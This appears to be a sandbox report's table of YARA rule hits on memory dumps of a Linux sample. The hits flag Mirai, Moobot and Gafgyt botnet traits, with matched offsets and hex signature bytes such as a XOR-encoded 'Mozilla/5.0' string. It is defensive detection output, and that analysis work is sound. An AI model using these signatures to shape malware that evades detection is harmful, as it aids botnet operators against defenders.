6790.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7219.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7219.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7219.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7219.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7219.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7219.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6370.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6370.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6370.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6370.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6370.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6370.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6800.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7361.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7208.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7106.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6506.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6506.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6506.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6506.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6506.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6506.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7230.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7230.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7230.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7230.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7230.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7230.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6924.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6924.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6924.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6406.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6406.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6406.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6406.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6406.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6406.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6386.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6327.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6924.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
